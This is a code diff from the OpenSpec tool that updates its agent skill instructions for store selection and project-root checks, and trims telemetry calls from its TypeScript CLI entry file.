**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
|
||||
|
||||
**Steps**
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-onboard
|
||||
description: Guided onboarding for OpenSpec - walk through a complete workflow cycle with narration and real codebase work.
|
||||
description: Guided onboarding for OpenSpec - walk through a complete workflow cycle with narration and real codebase work. Also use when the user says "openspec onboard" or "opsx onboard".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Guide the user through their first complete OpenSpec workflow cycle. This is a t
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
---
|
||||
|
||||
## Preflight
|
||||
@@ -220,6 +231,8 @@ Here's a draft proposal:
|
||||
|
||||
---
|
||||
|
||||
# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
[1-2 sentences explaining the problem/opportunity]
|
||||
@@ -287,6 +300,8 @@ Here's the spec:
|
||||
|
||||
---
|
||||
|
||||
# Spec Delta
|
||||
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: <Name>
|
||||
@@ -326,6 +341,8 @@ Here's the design:
|
||||
|
||||
---
|
||||
|
||||
# Design
|
||||
|
||||
## Context
|
||||
|
||||
[Brief context about the current state]
|
||||
@@ -371,6 +388,8 @@ Here are the implementation tasks:
|
||||
|
||||
---
|
||||
|
||||
# Tasks
|
||||
|
||||
## 1. [Category or file]
|
||||
|
||||
- [ ] 1.1 [Specific task] — verify: [test, command, observable behavior, or delivered artifact]
|
||||
@@ -472,23 +491,18 @@ This same rhythm works for any size change—a small fix or a major feature.
|
||||
|
||||
## Command Reference
|
||||
|
||||
**Core workflow:**
|
||||
**The commands you have installed:**
|
||||
|
||||
| Command | What it does |
|
||||
|-------------------|--------------------------------------------|
|
||||
| Command | What it does |
|
||||
|------------------|--------------------------------------------|
|
||||
| `/openspec-propose` | Create a change and generate all artifacts |
|
||||
| `/openspec-explore` | Think through problems before/during work |
|
||||
| `/openspec-apply-change` | Implement tasks from a change |
|
||||
| `/openspec-archive-change` | Archive a completed change |
|
||||
|
||||
**Additional commands** (only if installed - availability depends on your profile):
|
||||
|
||||
| Command | What it does |
|
||||
|--------------------|----------------------------------------------------------|
|
||||
| `/openspec-new-change` | Start a new change, step through artifacts one at a time |
|
||||
| `/openspec-continue-change` | Continue working on an existing change |
|
||||
| `/openspec-ff-change` | Fast-forward: create all artifacts at once |
|
||||
| `/openspec-verify-change` | Verify implementation matches artifacts |
|
||||
| `/openspec-new-change` | Start a new change, one artifact at a time |
|
||||
| `/openspec-continue-change` | Continue working on an existing change |
|
||||
| `/openspec-ff-change` | Fast-forward: create all artifacts at once |
|
||||
| `/openspec-verify-change` | Verify implementation matches artifacts |
|
||||
|
||||
---
|
||||
|
||||
@@ -508,8 +522,8 @@ If the user says they need to stop, want to pause, or seem disengaged:
|
||||
```
|
||||
No problem! Your change is saved at the `changeRoot` reported by `openspec status --change "<name>" --json`.
|
||||
|
||||
To pick up where we left off later:
|
||||
- `/openspec-continue-change <name>` - Resume artifact creation (if installed; otherwise `openspec status --change "<name>" --json` shows the next artifact)
|
||||
To pick up where we left off later, `openspec status --change "<name>" --json` shows exactly where the change stands.
|
||||
- `/openspec-continue-change <name>` - Resume artifact creation
|
||||
- `/openspec-apply-change <name>` - Jump to implementation (if tasks exist)
|
||||
|
||||
The work won't be lost. Come back whenever you're ready.
|
||||
@@ -524,23 +538,18 @@ If the user says they just want to see the commands or skip the tutorial:
|
||||
```
|
||||
## OpenSpec Quick Reference
|
||||
|
||||
**Core workflow:**
|
||||
**The commands you have installed:**
|
||||
|
||||
| Command | What it does |
|
||||
|--------------------------|--------------------------------------------|
|
||||
| `/openspec-propose <name>` | Create a change and generate all artifacts |
|
||||
| `/openspec-explore` | Think through problems (no code changes) |
|
||||
| `/openspec-apply-change <name>` | Implement tasks |
|
||||
| `/openspec-archive-change <name>` | Archive when done |
|
||||
|
||||
**Additional commands** (only if installed - availability depends on your profile):
|
||||
|
||||
| Command | What it does |
|
||||
|---------------------------|-------------------------------------|
|
||||
| `/openspec-new-change <name>` | Start a new change, step by step |
|
||||
| `/openspec-continue-change <name>` | Continue an existing change |
|
||||
| `/openspec-ff-change <name>` | Fast-forward: all artifacts at once |
|
||||
| `/openspec-verify-change <name>` | Verify implementation |
|
||||
| `/openspec-propose <name>` | Create a change and generate all artifacts |
|
||||
| `/openspec-explore` | Think through problems (no code changes) |
|
||||
| `/openspec-apply-change <name>` | Implement tasks |
|
||||
| `/openspec-archive-change <name>` | Archive when done |
|
||||
| `/openspec-new-change <name>` | Start a new change, step by step |
|
||||
| `/openspec-continue-change <name>` | Continue an existing change |
|
||||
| `/openspec-ff-change <name>` | Fast-forward: all artifacts at once |
|
||||
| `/openspec-verify-change <name>` | Verify implementation |
|
||||
|
||||
Try `/openspec-propose` to start your first change.
|
||||
```
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-propose
|
||||
description: Propose a new change with all artifacts generated in one step. Use when the user wants to quickly describe what they want to build and get a complete proposal with design, specs, and tasks ready for implementation.
|
||||
description: Propose a new OpenSpec change with all artifacts generated in one step. Use when the user wants to quickly describe what they want to build and get a complete proposal with design, specs, and tasks ready for implementation. Also use when the user says "openspec propose" or "opsx propose".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -27,6 +27,17 @@ When the user is ready to implement, they must start the apply workflow explicit
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: The user's request should include a change name (kebab-case) OR a description of what they want to build.
|
||||
|
||||
**Steps**
|
||||
@@ -44,7 +55,7 @@ When the user is ready to implement, they must start the apply workflow explicit
|
||||
|
||||
2. **Load project context**
|
||||
|
||||
Run `openspec context --json` from the current working directory (or `openspec context --json --store "<store-id>"` when a registered store was explicitly selected). Use the returned `root.path` as the authoritative OpenSpec root. If context reports `no_openspec_root`, stop without creating or changing any files. Offer `openspec init` and wait for the user to request initialization. Do not initialize automatically or run `openspec new change`. After initialization, rerun this context check before continuing. For any other context failure, stop and report the error; do not fall back to the current directory or run later OpenSpec commands without the selected store.
|
||||
Run `openspec context --json` from the current working directory (or `openspec context --json --store "<store-id>"` when a registered store was explicitly selected). Use the returned `root.path` as the authoritative OpenSpec root. If context reports `no_openspec_root`, stop without creating or changing any files and follow the **Project check** above for how this workflow was reached. Offer `openspec init` only for an explicit OpenSpec request, and wait for the user to request initialization. Do not initialize automatically or run `openspec new change`. After initialization, rerun this context check before continuing. For any other context failure, stop and report the error; do not fall back to the current directory or run later OpenSpec commands without the selected store.
|
||||
|
||||
Only when context returns a resolved `root.path`, read `<root.path>/openspec/config.yaml`. Use `config.yml` only when `config.yaml` does not exist. If neither file exists, continue without project context. Do not fall back to `config.yml` if `config.yaml` is unreadable or invalid.
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-sync-specs
|
||||
description: Sync delta specs from a change to main specs. Use when the user wants to update main specs with changes from a delta spec, without archiving the change.
|
||||
description: Sync delta specs from an OpenSpec change to main specs. Use when the user wants to update main specs with changes from a delta spec, without archiving the change. Also use when the user says "openspec sync" or "opsx sync".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -15,6 +15,17 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
@@ -95,6 +106,13 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
|
||||
b. **Read the main spec** at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (may not exist yet)
|
||||
|
||||
**If it does not exist yet** (a new capability), match what `openspec archive` does:
|
||||
only ADDED requirements may be applied - step d creates the spec from them.
|
||||
MODIFIED and RENAMED have no requirement to act on, so stop the sync for that
|
||||
capability and report that its main spec does not exist and only ADDED is allowed
|
||||
for a new spec; never invent the missing requirement. REMOVED has nothing to
|
||||
remove - skip it and warn.
|
||||
|
||||
c. **Apply changes intelligently**:
|
||||
|
||||
**ADDED Requirements:**
|
||||
@@ -142,6 +160,14 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
(this is what `openspec archive` does; it warns and moves on)
|
||||
|
||||
d. **Create new main spec** if capability doesn't exist yet:
|
||||
- Only when the delta has ADDED requirements to put in it and no MODIFIED or
|
||||
RENAMED requirements blocked this capability in step b. Otherwise create nothing
|
||||
and leave the specs directory untouched. For a REMOVED-only delta, if the change's
|
||||
`.openspec.yaml` declares `retire_capabilities: true`, report it as already retired
|
||||
and continue without recreating the spec. Without that marker, report the sync as blocked:
|
||||
`openspec archive` rejects it with `Spec must have at least one requirement`.
|
||||
An empty delta has no operations to sync; report it as blocked too.
|
||||
Never write an empty `## Requirements` section.
|
||||
- Create `<planningHome.root>/openspec/specs/<capability-path>/spec.md`
|
||||
- Add Purpose section: copy the delta's `## Purpose` body verbatim when it has one
|
||||
(this is what `openspec archive` does); only write a brief TBD placeholder when it does not
|
||||
@@ -166,6 +192,8 @@ This is an **agent-driven** operation - you will read delta specs and directly e
|
||||
**Delta Spec Format Reference**
|
||||
|
||||
```markdown
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
|
||||
Only on a delta that introduces a brand-new capability. Seeds the new main spec.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-update-change
|
||||
description: Update an OpenSpec change by revising its existing planning artifacts and keeping them coherent with one another. Use when the user wants to revise a change's plan, fold new decisions into it, or reconcile its artifacts after an edit. Never edits code.
|
||||
description: Update an OpenSpec change by revising its existing planning artifacts and keeping them coherent with one another. Use when the user wants to revise a change's plan, fold new decisions into it, or reconcile its artifacts after an edit. Also use when the user says "openspec update change" or "opsx update". If the user means the openspec update CLI command, which refreshes generated files, run that command instead. Never edits code.
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,9 +13,20 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
`/openspec-continue-change` is an optional workflow and may not be installed. Before suggesting it anywhere below, verify that it is available. If it is unavailable, `openspec status --change "<name>" --json` shows the next artifact and `openspec instructions "<artifact-id>" --change "<name>" --json` explains how to create it.
|
||||
This workflow revises artifacts that already exist; `/openspec-continue-change` is what creates the ones that do not.
|
||||
|
||||
**Steps**
|
||||
|
||||
@@ -56,13 +67,14 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
|
||||
|
||||
4. **Read and reconcile**
|
||||
- Read the artifact(s) the request touches and the change's other existing artifacts.
|
||||
- Apply the requested edit. Then check every other existing artifact against it - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised.
|
||||
- Draft the requested edit in the conversation, not in files. Work out exactly what it changes; step 5 owns every write. Then check every other existing artifact against the drafted edit - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised.
|
||||
- Note everything that is now inconsistent, missing, or contradictory.
|
||||
- Revise only files that already exist (`existingOutputPaths`). Do NOT create artifacts that don't exist yet, and do NOT invent new files under a glob artifact - note them and point the user to `/openspec-continue-change` to create them.
|
||||
- If the change is already coherent, say so and make no edits.
|
||||
- Propose revisions only to files that already exist (`existingOutputPaths`). Do NOT create artifacts that don't exist yet, and do NOT invent new files under a glob artifact - note them and point the user to `/openspec-continue-change` to create them.
|
||||
- If the change is already coherent, say so and propose no revisions.
|
||||
|
||||
5. **Confirm and apply, one artifact at a time**
|
||||
- Show each proposed revision and why. Write only after the user confirms.
|
||||
- This step performs every artifact write in this workflow; no earlier step edits an artifact.
|
||||
- Show each proposed revision and why - including the requested edit drafted in step 4. Write only after the user confirms.
|
||||
- If the user rejects a revision, do not write it - leave that artifact unchanged.
|
||||
- When a substantial rewrite is needed, get that artifact's rules and template first:
|
||||
```bash
|
||||
@@ -87,4 +99,4 @@ After each invocation, show:
|
||||
- Edit only the concrete files in `existingOutputPaths`; never write to a glob `resolvedOutputPath`.
|
||||
- Do not advance the build frontier: no new artifacts, no new files under glob artifacts - that is `/openspec-continue-change`'s job.
|
||||
- Confirm every edit with the user before writing.
|
||||
- If the request changes the change's *intent* rather than refining it, first verify whether the optional `/openspec-new-change` workflow is available. If it is, recommend starting fresh with `/openspec-new-change` (the "Update vs. Start Fresh" heuristic). If it is unavailable, ask for a distinct unused change name and recommend `openspec new change "<new-change-name>"` instead.
|
||||
- If the request changes the change's *intent* rather than refining it, recommend starting fresh with `/openspec-new-change` (the "Update vs. Start Fresh" heuristic).
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-verify-change
|
||||
description: Verify implementation matches change artifacts. Use when the user wants to validate that implementation is complete, correct, and coherent before archiving.
|
||||
description: Verify implementation matches OpenSpec change artifacts. Use when the user wants to validate that implementation is complete, correct, and coherent before archiving. Also use when the user says "openspec verify" or "opsx verify".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
**Steps**
|
||||
@@ -60,7 +71,9 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
|
||||
**Task Completion**:
|
||||
- If `contextFiles.tasks` exists, read every file path in it
|
||||
- Parse checkboxes: `- [ ]` (incomplete) vs `- [x]` (complete)
|
||||
- Parse checkboxes: complete means the box holds only `x`/`X`, ignoring
|
||||
spacing (`- [ x]` is complete); every other marker is incomplete
|
||||
(`- [ ]`, `- []`, and unfamiliar ones such as `- [~]` or `- [-]`)
|
||||
- Count complete vs total tasks
|
||||
- If incomplete tasks exist:
|
||||
- Add CRITICAL issue for each incomplete task
|
||||
|
||||
+21
-245
@@ -1,5 +1,5 @@
|
||||
import { asStatus } from '../commands/shared-output.js';
|
||||
import { Command, CommanderError, Option } from 'commander';
|
||||
import { Command, Option } from 'commander';
|
||||
import { createRequire } from 'module';
|
||||
import ora from 'ora';
|
||||
import path from 'path';
|
||||
@@ -7,7 +7,6 @@ import { fileURLToPath } from 'url';
|
||||
import { existsSync, promises as fs } from 'fs';
|
||||
import { AI_TOOLS, TOOL_ID_ALIASES } from '../core/config.js';
|
||||
import { UpdateCommand } from '../core/update.js';
|
||||
import { InitCancelledError } from '../core/init.js';
|
||||
import {
|
||||
getAvailableCliUpdate,
|
||||
displayCliUpdateNote,
|
||||
@@ -50,26 +49,7 @@ import {
|
||||
type SchemasOptions,
|
||||
type NewChangeOptions,
|
||||
} from '../commands/workflow/index.js';
|
||||
import {
|
||||
isDebugMode,
|
||||
isTelemetryEnabled,
|
||||
maybeShowTelemetryNotice,
|
||||
trackCommand,
|
||||
shutdown,
|
||||
} from '../telemetry/index.js';
|
||||
import { findLocalRoot, detectSchemaSource } from '../telemetry/context.js';
|
||||
import { getConfiguredTools } from '../core/shared/tool-detection.js';
|
||||
import { getGlobalConfig } from '../core/global-config.js';
|
||||
import {
|
||||
beginRun,
|
||||
finishAndFlush,
|
||||
finishRun,
|
||||
markInteractiveCapable,
|
||||
markFailure,
|
||||
markMilestone,
|
||||
markOutcome,
|
||||
registerAllowlists,
|
||||
} from '../telemetry/cli-runtime.js';
|
||||
import { maybeShowTelemetryNotice, trackCommand, shutdown } from '../telemetry/index.js';
|
||||
import { maybeShowCompletionTip } from '../core/completion-tip.js';
|
||||
import { COMMON_FLAGS } from '../core/completions/shared-flags.js';
|
||||
import { isInteractive } from '../utils/interactive.js';
|
||||
@@ -91,9 +71,6 @@ function failWithError(
|
||||
error: unknown,
|
||||
json?: { enabled: boolean | undefined; payload?: Record<string, unknown>; fallbackCode?: string }
|
||||
): void {
|
||||
// Every command's catch funnels through here, so classifying once covers a
|
||||
// command that grows a new error path without touching that command.
|
||||
markOutcome(error);
|
||||
// The agent contract: every --json failure leaves exactly one JSON
|
||||
// document on stdout (the command's null-shape plus a status array).
|
||||
if (json?.enabled) {
|
||||
@@ -137,10 +114,7 @@ export function getCommandPath(command: Command): string {
|
||||
current = current.parent;
|
||||
}
|
||||
|
||||
// 'unknown', not 'openspec': the root has no action handler, and the
|
||||
// allowlist is built from its children, so 'openspec' would fail closed and
|
||||
// silently drop the property instead of reporting an unattributed run.
|
||||
return names.join(':') || 'unknown';
|
||||
return names.join(':') || 'openspec';
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -205,8 +179,6 @@ program.hook('preAction', async (thisCommand, actionCommand) => {
|
||||
process.env.NO_COLOR = '1';
|
||||
}
|
||||
|
||||
beginRun(version);
|
||||
|
||||
// Show first-run telemetry notice (if not seen). It's written to stderr, so it
|
||||
// never pollutes stdout — but --json runs still defer it (see isJsonRun) so the
|
||||
// very first invocation stays free of any incidental output on either stream.
|
||||
@@ -214,47 +186,12 @@ program.hook('preAction', async (thisCommand, actionCommand) => {
|
||||
|
||||
// Track command execution (use actionCommand to get the actual subcommand)
|
||||
const commandPath = getCommandPath(actionCommand);
|
||||
markMilestone(commandPath);
|
||||
|
||||
await trackCommand(commandPath, version);
|
||||
});
|
||||
|
||||
